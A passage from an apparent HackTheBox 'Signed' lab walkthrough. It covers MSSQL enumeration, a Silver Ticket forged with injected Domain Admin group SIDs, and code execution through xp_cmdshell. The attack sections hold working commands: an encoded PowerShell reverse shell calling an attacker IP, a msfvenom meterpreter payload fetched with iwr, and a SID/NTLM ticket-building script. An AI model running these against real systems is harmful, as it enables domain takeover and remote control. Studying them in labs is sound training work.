----------------------------   ---------   ------------------------   -----------------------------------------------------------   
MS_DataCollectorInternalUser   SQL_USER    NONE                       b'0105000000000009030000004afef240a4aef447b344a561713c823f'

The certificate enumeration was expanded to include information about which database users the certificates were mapped to.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT c.name, c.certificate_id, c.pvt_key_encryption_type_desc, dp.name as mapped_user FROM sys.certificates c LEFT JOIN sys.database_principals dp ON c.principal_id = dp.principal_id;
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name                                                                      certificate_id   pvt_key_encryption_type_desc   mapped_user   
-----------------------------------------------------------------------   --------------   ----------------------------   -----------   
##MS_AgentSigningCertificate##                                                       104   NO_PRIVATE_KEY                 dbo           

##MS_SchemaSigningCertificate49DAF39CDF8914F6AD714B481518685F0570173F##              256   NO_PRIVATE_KEY                 dbo

An attempt was made to identify any database users that were mapped to certificates. At least it was an attempt.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT name, type_desc, authentication_type_desc FROM sys.database_principals WHERE type = 'C';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name   type_desc   authentication_type_desc   
----   ---------   ------------------------

Now we checked the permissions directly assigned to the MS_DataCollectorInternalUser account (independent of role membership).

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT pr.name, pe.permission_name, pe.state_desc, OBJECT_NAME(pe.major_id) AS object FROM sys.database_permissions pe JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_id WHERE pr.name = 'MS_DataCollectorInternalUser';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name                           permission_name   state_desc   object   
----------------------------   ---------------   ----------   ------   
MS_DataCollectorInternalUser   CONNECT           GRANT        NULL

To determine what actions could be performed against the MSDataCollectorInternalUser principal itself, we used the fnmy_permissions function.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT * FROM fn_my_permissions('MS_DataCollectorInternalUser', 'USER');
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
entity_name                    subentity_name   permission_name   
----------------------------   --------------   ---------------   
MS_DataCollectorInternalUser                    VIEW DEFINITION

We headed back to the certificate topic to see if we were able to actually create them ourselves..

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT HAS_PERMS_BY_NAME(NULL, NULL, 'CREATE CERTIFICATE');
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
       
----   
NULL

Then we examined the authentication configuration for the dbo principal in the msdb database.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT name, authentication_type_desc FROM sys.database_principals WHERE name = 'dbo';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name   authentication_type_desc   
----   ------------------------   
dbo    INSTANCE

At the server level, we searched for any logins that were mapped to certificates.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT sp.name, sp.type_desc, sp.sid FROM sys.server_principals sp WHERE sp.type = 'C';
name                                      type_desc                                                                                  sid   
---------------------------------------   ------------------------   -------------------------------------------------------------------   
##MS_SQLResourceSigningCertificate##      CERTIFICATE_MAPPED_LOGIN   b'01060000000000090100000067bc58c8c8c025733faa176c3aab1d3cef25d651'   

##MS_SQLReplicationSigningCertificate##   CERTIFICATE_MAPPED_LOGIN   b'010600000000000901000000164f477795874c92bca2a4a814dadd73c4aa4062'   

##MS_SQLAuthenticatorCertificate##        CERTIFICATE_MAPPED_LOGIN   b'010600000000000901000000a3641c720b9466cab42e1d5f939a5427c4d9cfcc'   

##MS_PolicySigningCertificate##           CERTIFICATE_MAPPED_LOGIN   b'0106000000000009010000007bd6fa74deb8db961034c0d96173b0e9d3e7d4ba'   

##MS_SmoExtendedSigningCertificate##      CERTIFICATE_MAPPED_LOGIN   b'010600000000000901000000a37fda7bd68a34744a0455d026fb761f0353c536'   

##MS_AgentSigningCertificate##            CERTIFICATE_MAPPED_LOGIN   b'010600000000000901000000fb1b6ce60eda55e1d3dde93b99db322bfc435563'

We checked which database had the TRUSTWORTHY settings enabled.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, is_trustworthy_on FROM sys.databases;
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1

To understand the functionality of stored procedures in the msdb database, we retrieved the source code for spsysdacrename_database. If the stored procedure could be executed or if the pattern of dynamic SQL execution could be leveraged, we might had an opportunity for SQL Injection (SQLi) or Privilege Escalation.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; EXEC sp_helptext 'sp_sysdac_rename_database';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
Text                                                                                                               
----------------------------------------------------------------------------------------------------------------   
CREATE   PROCEDURE [dbo].[sp_sysdac_rename_database]  
                                                           

        @database_name sysname,
                                                                                  

        @new_name sysname
                                                                                        

AS  
                                                                                                             

SET NOCOUNT ON;
                                                                                                  

BEGIN  
                                                                                                          

    DECLARE @sqlstatement nvarchar(1000)
                                                                         


                                                                                                                 

    -- Alter the database to single user mode    
                                                                

    DECLARE @quoted_database_name nvarchar(258)
                                                                  

    SET @quoted_database_name = QUOTENAME(@database_name)
                                                        

    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
   

    EXEC (@sqlstatement)
                                                                                         


                                                                                                                 

    -- Rename the database
                                                                                       

    EXEC sp_rename @objname=@quoted_database_name, @newname=@new_name, @objtype='DATABASE'
                       


                                                                                                                 

    -- Revert the database back to multi user mode
                                                               

    DECLARE @quoted_new_name nvarchar(258)
                                                                       

    SET @quoted_new_name = QUOTENAME(@new_name)
                                                                  

    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_new_name + ' SET MULTI_USER WITH ROLLBACK IMMEDIATE'
         

    EXEC (@sqlstatement)
                                                                                         

            
                                                                                                     

    RETURN(@@error)
                                                                                              

END

At this point we tried an alternative method to retrieve the definition of database objects by querying the OBJECT_DEFINITION function.

The comments in the code were particularly interesting, noting that CREATE ANY DATABASE permission should theoretically be sufficient, but dbcreator role membership was required due to database rename operations.

This function provided insight into the permission checks used by DAC-related stored procedures in msdb, which could be relevant for understanding what privileges were needed to execute certain operations in the database.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT OBJECT_DEFINITION(OBJECT_ID('dbo.fn_sysdac_is_dac_creator'));
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
                                                                                                                                                                                                                                                                  
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
CREATE   FUNCTION [dbo].[fn_sysdac_is_dac_creator]()
RETURNS int
BEGIN
    DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
    DECLARE @isdaccreator int;

    -- Check the engine edition
    IF (@engineEdition = 5)
    BEGIN
        -- Windows Azure SQL Database:
        --   is member of dbmanager or is superuser.

        SET @isdaccreator = COALESCE(IS_MEMBER('dbmanager'), 0) | 
            dbo.fn_sysdac_is_currentuser_sa()

    END ELSE
    BEGIN
        -- Standalone, default:
        --  is member of dbcreator

        /*
        We should only require CREATE ANY DATABASE but the database rename 
        step of creating a DAC requires that we have dbcreator.
    
        If that changes use the code below
    
        -- CREATE ANY DATABASE is what makes somebody a creator
        Set @isdaccreator = HAS_PERMS_BY_NAME(null, null, 'CREATE ANY DATABASE')
        */

        SET @isdaccreator = COALESCE(is_srvrolemember('dbcreator'), 0)
        
    END

    RETURN @isdaccreator;
END

Initial Access

Privilege Escalation to dbo forging a Silver Ticket

Since we enumerated all that came to our minds, we moved on with the plan of forging a Silver Ticket in order to escalate our privileges and achieve code execution through xp_cmdshell.

To forge the Silver Ticket with accurate parameters, the Security Identifier (SID) for the SIGNED\mssqlsvc account was needed.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT SUSER_SID('SIGNED\mssqlsvc');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

To use this SID for forging the Silver Ticket, the binary value needed to be converted to the standard SID format (S-1-5-21-...). The binary SID could be decoded as:

  • The first bytes identify it as a domain SID structure
  • The domain identifier portion: S-1-5-21-4088429403-1159899800-2753317549
  • The Relative Identifier (RID): 1103 (hex 4f04 reversed from little-endian 044f at the end)

This gave the complete SID: S-1-5-21-4088429403-1159899800-2753317549-1103

Similarly, we retrieved the Security Identifier (SID) for the SIGNED\IT domain group.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT SUSER_SID('SIGNED\IT');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'

Converting this binary SID to standard format revealed:

  • Domain SID: S-1-5-21-4088429403-1159899800-2753317549 (same as before, confirming the domain)
  • RID: 1105 (hex 5104 reversed from little-endian 0451 at the end)

This gave the complete SID for the IT group: S-1-5-21-4088429403-1159899800-2753317549-1105

We also grabbed the Security Identifier (SID) for the Domain Admins group.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT SUSER_SID('SIGNED\Domain Admins');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'

Converting this to standard SID format yielded:

  • Domain SID: S-1-5-21-4088429403-1159899800-2753317549 (consistent with the domain)
  • RID: 512 (hex 0200 reversed from little-endian 0002 at the end)

The complete SID: S-1-5-21-4088429403-1159899800-2753317549-512

The RID of 512 is the well-known identifier for the Domain Admins group in Active Directory, which is consistent across all domains. This group has complete administrative control over the entire domain.

Rather than forging a simple Silver Ticket that would only grant the mssqlsvc account's actual privileges, Privilege Attribute Certificate (PAC) manipulation was performed by injecting privileged group memberships into the ticket. This technique, also known as SID Injection, allowed elevation beyond the service account's legitimate permissions.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ cat decode.py 
#!/usr/bin/env python3
import struct
import hashlib

def parse_sid(hex_sid):
    """Convert binary SID (in hex string format) to readable SID string"""
    # Remove any quotes or 'b' prefix and convert to bytes
    hex_sid = hex_sid.replace("b'", "").replace("'", "").strip()
    sid_bytes = bytes.fromhex(hex_sid)
    
    # Parse SID structure
    revision = sid_bytes[0]
    sub_auth_count = sid_bytes[1]
    authority = struct.unpack('>Q', b'\x00\x00' + sid_bytes[2:8])[0]
    
    sub_auths = []
    for i in range(sub_auth_count):
        sub_auth = struct.unpack('<I', sid_bytes[8 + i*4:8 + (i+1)*4])[0]
        sub_auths.append(str(sub_auth))
    
    sid_string = f"S-{revision}-{authority}-{'-'.join(sub_auths)}"
    return sid_string

# SIDs from SQL Server
mssqlsvc_sid_hex = "0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000"
it_sid_hex = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
domain_admins_sid_hex = "0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000"

# Parse SIDs
mssqlsvc_sid = parse_sid(mssqlsvc_sid_hex)
it_sid = parse_sid(it_sid_hex)
domain_admins_sid = parse_sid(domain_admins_sid_hex)

print("=" * 70)
print("SID Information")
print("=" * 70)
print(f"mssqlsvc SID:      {mssqlsvc_sid}")
print(f"IT group SID:      {it_sid}")
print(f"Domain Admins SID: {domain_admins_sid}")
print()

# Extract domain SID and RIDs
domain_sid = '-'.join(mssqlsvc_sid.split('-')[:-1])
mssqlsvc_rid = mssqlsvc_sid.split('-')[-1]
it_rid = it_sid.split('-')[-1]
domain_admins_rid = domain_admins_sid.split('-')[-1]
enterprise_admins_rid = "519"  # Well-known RID for Enterprise Admins

print("=" * 70)
print("Domain Information")
print("=" * 70)
print(f"Domain SID:               {domain_sid}")
print(f"mssqlsvc RID:             {mssqlsvc_rid}")
print(f"IT group RID:             {it_rid}")
print(f"Domain Admins RID:        {domain_admins_rid}")
print(f"Enterprise Admins RID:    {enterprise_admins_rid}")
print()

# Calculate NTLM hash
password = "purPLE9795!@"
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()

print("=" * 70)
print("NTLM Hash")
print("=" * 70)
print(f"Password:              {password}")
print(f"NTLM Hash:             {ntlm_hash}")
print()

# Print silver ticket command with PAC manipulation
print("=" * 70)
print("Silver Ticket Command (with PAC Manipulation)")
print("=" * 70)
print(f"impacket-ticketer -nthash {ntlm_hash} \\")
print(f"  -domain-sid {domain_sid} \\")
print(f"  -domain SIGNED.HTB \\")
print(f"  -spn MSSQLSvc/DC01.SIGNED.HTB:1433 \\")
print(f"  -groups {domain_admins_rid},{enterprise_admins_rid},{it_rid} \\")
print(f"  -user-id {mssqlsvc_rid} \\")
print(f"  mssqlsvc")
print()
print("export KRB5CCNAME=mssqlsvc.ccache")
print("impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB")
print()

# Alternative: Silver ticket without privilege escalation
print("=" * 70)
print("Alternative: Standard Silver Ticket (No PAC Manipulation)")
print("=" * 70)
print(f"impacket-ticketer -nthash {ntlm_hash} \\")
print(f"  -domain-sid {domain_sid} \\")
print(f"  -domain SIGNED.HTB \\")
print(f"  -spn MSSQLSvc/DC01.SIGNED.HTB:1433 \\")
print(f"  -user-id {mssqlsvc_rid} \\")
print(f"  mssqlsvc")
┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ python3 decode.py 
======================================================================
SID Information
======================================================================
mssqlsvc SID:      S-1-5-21-4088429403-1159899800-2753317549-1103
IT group SID:      S-1-5-21-4088429403-1159899800-2753317549-1105
Domain Admins SID: S-1-5-21-4088429403-1159899800-2753317549-512

======================================================================
Domain Information
======================================================================
Domain SID:               S-1-5-21-4088429403-1159899800-2753317549
mssqlsvc RID:             1103
IT group RID:             1105
Domain Admins RID:        512
Enterprise Admins RID:    519

======================================================================
NTLM Hash
======================================================================
Password:              purPLE9795!@
NTLM Hash:             ef699384c3285c54128a3ee1ddb1a0cc

======================================================================
Silver Ticket Command (with PAC Manipulation)
======================================================================
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -domain SIGNED.HTB \
  -spn MSSQLSvc/DC01.SIGNED.HTB:1433 \
  -groups 512,519,1105 \
  -user-id 1103 \
  mssqlsvc

export KRB5CCNAME=mssqlsvc.ccache
impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB

======================================================================
Alternative: Standard Silver Ticket (No PAC Manipulation)
======================================================================
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -domain SIGNED.HTB \
  -spn MSSQLSvc/DC01.SIGNED.HTB:1433 \
  -user-id 1103 \
  mssqlsvc

The cracked password purPLE9795!@ was converted to its NTLM hash format for use in the Silver Ticket.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ python3 -c 'import hashlib; print(hashlib.new("md4","purPLE9795!@".encode("utf-16le")).hexdigest())'
ef699384c3285c54128a3ee1ddb1a0cc

Before we proceed we updated our /etc/krb5.conf file.

┌──(kali㉿kali)-[~]
└─$ cat /etc/krb5.conf
[libdefaults]
    default_realm = SIGNED.HTB
    dns_lookup_kdc = false

[realms]
    SIGNED.HTB = {
        kdc = DC01.signed.htb
        admin_server = DC01.signed.htb
    }

[domain_realm]
    .signed.htb = SIGNED.HTB
    signed.htb = SIGNED.HTB

The Silver Ticket was forged using impacket-ticketer.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain ef699384c3285c54128a3ee1ddb1a0cc -spn MSSQLSVC/DC01.SIGNED.HTB -groups 512,519,1105 -user-id 1103 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for ef699384c3285c54128a3ee1ddb1a0cc/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Then we exported the new ticket.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ export KRB5CCNAME=mssqlsvc.ccache

And after we logged back in using our forged ticket, we got access as dbo.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ impacket-mssqlclient -k -no-pass dc01.signed.htb                             
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)>

Code Execution through xp_cmdshell

We enabled xp_cmdshell to achieve code execution.

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)> RECONFIGURE;
SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)> RECONFIGURE;

Then we executed our reverse shell payload and got a callback.

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOQA3ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.97] from (UNKNOWN) [10.129.34.27] 64840

PS C:\Windows\system32>

user.txt

For convenience reasons we also grabbed the user.txt right from inside the SQL Server instance before we moved on.

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC xp_cmdshell 'type C:\Users\mssqlsvc\Desktop\user.txt';
output                             
--------------------------------   
2b31103006a7b4a819d0cf02f0824e35   

NULL

Persistence

To have an additional channel for working on the Privilege Escalation to SYSTEM we also dropped a session for meterpreter on Metasploit.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/serve]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.97 LPORT=4444 -f exe -o asdf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: asdf.exe
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.4.84-dev                                ]
+ -- --=[ 2,547 exploits - 1,309 auxiliary - 1,683 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.16.97
LHOST => 10.10.16.97
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.97:4444
┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/serve]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
PS C:\temp> iwr 10.10.16.97/asdf.exe -o asdf.exe
PS C:\temp> .\asdf.exe
[*] Sending stage (203846 bytes) to 10.129.34.27
[*] Meterpreter session 1 opened (10.10.16.97:4444 -> 10.129.34.27:65003) at 2025-10-11 22:58:53 +0200

meterpreter >

Enumeration (MSSQLSVC / Shell)

After taking care of our persistence we moved on with the Enumeration of the box through our newly gained shell.

PS C:\Windows\system32> whoami /all

USER INFORMATION
----------------

User Name       SID                                           
=============== ==============================================
signed\mssqlsvc S-1-5-21-4088429403-1159899800-2753317549-1103


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                                             Attributes                                        
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER                     Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner    
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                      


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeCreateGlobalPrivilege       Create global objects              Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Since there was no other access to the box than through port 1433/TCP we started by enumerating the system specifications, users and groups manually.

PS C:\> systeminfo

Host Name:                 DC01
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-00000-00001-AA815
Original Install Date:     4/10/2020, 10:48:06 AM
System Boot Time:          10/11/2025, 12:00:27 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.24504846.B64.2501180334, 1/18/2025
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume3
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 1,877 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 2,363 MB
Virtual Memory: In Use:    2,436 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    SIGNED.HTB
Logon Server:              N/A
Hotfix(s):                 12 Hotfix(s) Installed.
                           [01]: KB5065744
                           [02]: KB4535680
                           [03]: KB4539571
                           [04]: KB4570332
                           [05]: KB4589208
                           [06]: KB5005112
                           [07]: KB5058392
                           [08]: KB5015896
                           [09]: KB5020374
                           [10]: KB5039335
                           [11]: KB5058525
                           [12]: KB5065765
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.34.27
                                 [02]: fe80::8ee2:ce65:6be9:f9f1
                                 [03]: dead:beef::4d4:a44c:e1cc:1d88
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
PS C:\> net user

User accounts for \\DC01

-------------------------------------------------------------------------------
Administrator            amelia.kelly             ava.morris               
charlotte.price          elijah.brooks            emma.clark               
Guest                    harper.diaz              henry.bennett            
isabella.evans           jackson.gray             james.morgan             
krbtgt                   liam.wright              lucas.murphy             
mia.cooper               mssqlsvc                 noah.adams               
oliver.mills             sophia.turner            william.johnson          
The command completed successfully.
PS C:\> net user /domain

User accounts for \\DC01

-------------------------------------------------------------------------------
Administrator            amelia.kelly             ava.morris               
charlotte.price          elijah.brooks            emma.clark               
Guest                    harper.diaz              henry.bennett            
isabella.evans           jackson.gray             james.morgan             
krbtgt                   liam.wright              lucas.murphy             
mia.cooper               mssqlsvc                 noah.adams               
oliver.mills             sophia.turner            william.johnson          
The command completed successfully.
PS C:\> net localgroup

Aliases for \\DC01

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*SQLServer2005SQLBrowserUser$DC01
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.

Active Directory Configuration Dump

We dropped SharpHound after we finished the quick look through manual enumeration and downloaded the .zip-archive through meterpreter.

PS C:\temp> .\SharpHound.exe -c all
2025-10-11T14:15:07.9144985-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-10-11T14:15:08.3676236-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-10-11T14:15:08.3832460-07:00|INFORMATION|Initializing SharpHound at 2:15 PM on 10/11/2025
